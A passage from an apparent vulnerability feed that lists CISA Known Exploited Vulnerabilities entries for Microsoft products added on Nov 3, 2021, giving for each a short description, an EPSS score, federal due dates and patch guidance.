CISA KEV entry CVE-2020-0878: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0878&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2021-31955
Microsoft Windows Kernel Information Disclosure Vulnerability (Nov 3, 2021).
Microsoft Windows Kernel contains an unspecified vulnerability that allows for information disclosure. Successful exploitation allows attackers to read the contents of kernel memory from a user-mode process.
EPSS 81.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31955&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31955: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31955&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Defender Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-1647
Microsoft Defender Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Defender contains an unspecified vulnerability that allows for remote code execution.
EPSS 39.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1647&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1647: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1647&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-33739
Microsoft Desktop Window Manager (DWM) Core Library Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Desktop Window Manager (DWM) Core Library contains an unspecified vulnerability that allows for privilege escalation.
EPSS 6.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33739&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33739: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33739&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Media Center Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-0185
Microsoft Windows Media Center Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Media Center contains a remote code execution vulnerability when Windows Media Center opens a specially crafted Media Center link (.mcl) file that references malicious code.
EPSS 69.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0185&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0185: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0185&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Installer Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-0683
Microsoft Windows Installer Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Installer contains a privilege escalation vulnerability when MSI packages process symbolic links, which allows attackers to bypass access restrictions to add or remove files.
EPSS 7.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0683&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0683: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0683&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-17087
Microsoft Windows Kernel Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.
EPSS 5.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17087&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17087: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17087&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-33742
Microsoft Windows MSHTML Platform Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for remote code execution.
EPSS 59.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33742&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33742: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33742&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-31199
Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31199&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31199: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31199&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-33771
Microsoft Windows Kernel Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.
EPSS 10.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-33771&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-33771: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-33771&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTFS Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-31956
Microsoft Windows NTFS Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows New Technology File System (NTFS) contains an unspecified vulnerability that allows attackers to escalate privileges via a specially crafted application.
EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31956&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31956&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-31201
Microsoft Enhanced Cryptographic Provider Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Enhanced Cryptographic Provider contains an unspecified vulnerability that allows for privilege escalation.
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31201&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31201&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-31979
Microsoft Windows Kernel Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.
EPSS 4.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31979&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31979: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31979&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-0938
Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.
EPSS 69.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0938&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0938: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0938&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-17144
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server improperly validates cmdlet arguments which allow an attacker to perform remote code execution.
EPSS 36.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17144&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17144: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17144&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2020-0986
Microsoft Windows Kernel Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows kernel contains an unspecified vulnerability when handling objects in memory that allows attackers to escalate privileges and execute code in kernel mode.
EPSS 16.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0986&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0986: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0986&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-1020
Microsoft Windows Adobe Font Manager Library Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Adobe Font Manager Library contains an unspecified vulnerability when handling specially crafted multi-master fonts (Adobe Type 1 PostScript format) that allows for remote code execution for all systems except Windows 10. For systems running Windows 10, an attacker who successfully exploited the vulnerability could execute code in an AppContainer sandbox context with limited privileges and capabilities.
EPSS 65.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-1020&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-1020: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-1020&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-38645
Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability that allows for privilege escalation.
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38645&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38645&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-34523
Microsoft Exchange Server Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for privilege escalation.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34523&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34523: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34523&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Server Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2017-7269
Microsoft Windows Server Buffer Overflow Vulnerability (Nov 3, 2021).
Microsoft Windows Server 2003 R2 contains a buffer overflow vulnerability in Internet Information Services (IIS) 6.0 which allows remote attackers to execute code via a long header beginning with "If: <http://" in a PROPFIND request.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-7269&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-7269: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-7269&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Update Medic Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-36948
Microsoft Windows Update Medic Service Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Windows Update Medic Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 23.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-36948&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-36948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-36948&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-38649
Microsoft Open Management Infrastructure (OMI) Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Open Management Infrastructure (OMI) within Azure VM Management Extensions contains an unspecified vulnerability allowing privilege escalation.
EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-38649&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-38649: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-38649&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-0688
Microsoft Exchange Server Validation Key Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server Validation Key fails to properly create unique keys at install time, allowing for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-0688&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-0688: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-0688&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Server Message Block (SMBv1) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0143
Microsoft Windows Server Message Block (SMBv1) Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Windows Server Message Block 1.0 (SMBv1) contains an unspecified vulnerability that allows for remote code execution.
EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0143&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0143: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0143&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-7255
Microsoft Win32k Privilege Escalation Vulnerability (Nov 3, 2021).
Microsoft Win32k kernel-mode driver fails to properly handle objects in memory which allows for privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.
EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7255&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-7255: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7255&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Remote Desktop Services Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-0708
Microsoft Remote Desktop Services Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Remote Desktop Services, formerly known as Terminal Service, contains an unspecified vulnerability that allows an unauthenticated attacker to connect to the target system using RDP and send specially crafted requests. Successful exploitation allows for remote code execution. The vulnerability is also known under the moniker of BlueKeep.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0708&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-0708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0708&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Exchange Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-34473
Microsoft Exchange Server Remote Code Execution Vulnerability (Nov 3, 2021).
Microsoft Exchange Server contains an unspecified vulnerability that allows for remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-34473&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-34473: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-34473&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
